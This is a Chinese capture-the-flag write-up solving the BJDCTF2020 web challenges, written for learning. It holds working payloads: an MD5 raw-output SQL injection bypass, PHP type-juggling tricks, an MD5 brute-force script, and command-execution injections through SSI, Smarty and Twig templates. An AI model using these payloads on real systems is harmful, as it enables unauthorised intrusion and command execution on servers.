二月份的比赛,前几天做ezphp的时候发现有其他web的题目,索性全都复现一下,有些是之前buu做过了
docker环境:https://github.com/BjdsecCA/BJDCTF2020_January
ezphp
写在csdn上了,传送
easy_md5
打开靶机只有一个提交框
输啥都没有反应,抓了个包,返回头里看到hint
考点:mysql特性,MD5函数特殊字符串,php强弱类型
php中MD5函数的处理方式如下
由于会返回原始二进制格式,我们来看看ffifdyop
字符串的结果
生成了'or'6以及一些不可见字符,那么再结合hint,他本来的语句是
select * from 'admin' where password='传入处理后的值'
当我们传入ffifdyop
之后,就会变成
select * from 'admin' where password=''or'6xxxxxxx'
而在mysql中,判断条件时,以数字为开头的字符串会被当做是整型,均会返回1,也就是true
那么password的or判断就接收true并绕过了这个语句。
传入之后跳转到了levels91.php,源码给出了php代码
<?php
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');
一个简单的弱类型,可以利用科学计数法特性提交两个md5后以0e开头的字符串,或者直接变为数组两个NULL相等绕过。
传入之后又跳转到levell14.php,强类型碰撞
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
传入两个md5后值相等的字符串或一样用数组即可。
mark loves cat
csdn上写过:传送
easy_search
打开靶机一个登录框
请求index.php.swp得源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以看到成功登录的关键, $admin == substr(md5($_POST['password']),0,6)
,脚本爆破即可
import hashlib
def func(md5_val):
for x in range(999999, 100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:6]==md5_val:
return str(x)
if __name__ == '__main__':
print func('6d0bc1')
跑出来结果是202066,登录看看,headers里返回了url
访问之后发现会回显username的内容
考点:ssi代码执行注入
ssi是服务器端包含的意思,就是在html中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
在这里, shtml文件可以执行 bash 命令,构造<!--#exec Cmd="ls"-->
即可命令执行,最后在ls ../找到flag文件
直接cat读取即可
the mystery of ip
打开靶机flag.php会显示出ip,抓包观察到xff头可以控制
考点:smarty模板注入
构造{{2+2}}
会直接得到4
猜测为模板注入,尝试读取配置文件构造{{config}}
发现是smarty模板。
{{system('ls')}}或者{if system('ls')}{/if}
都可以执行命令,最后在根目录下找到flag
Cookie is so stable
打开靶机在flag.php有个提交框会把输入内容输出到网页上
构造{{2+2}}发现还会返回计算结果4
考点:Twig模板注入
发现在cookie处
user会把输入的内容存进去,urldecode(%7B%7B2%2B2%7D%7D)={{2+2}}
,首先了解一下使用的是什么模板,在csdn师傅的一篇文章找到流程图
输入{{7*7}}成功回显,但Jinja2是基于python的模板引擎,那么只能是Twig了,百度一下Twig的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
由于提交之后cookie会url编码处理,所以提交之后直接把cookie改回来即可
ZJCTF,不过如此
之前写在csdn上,传送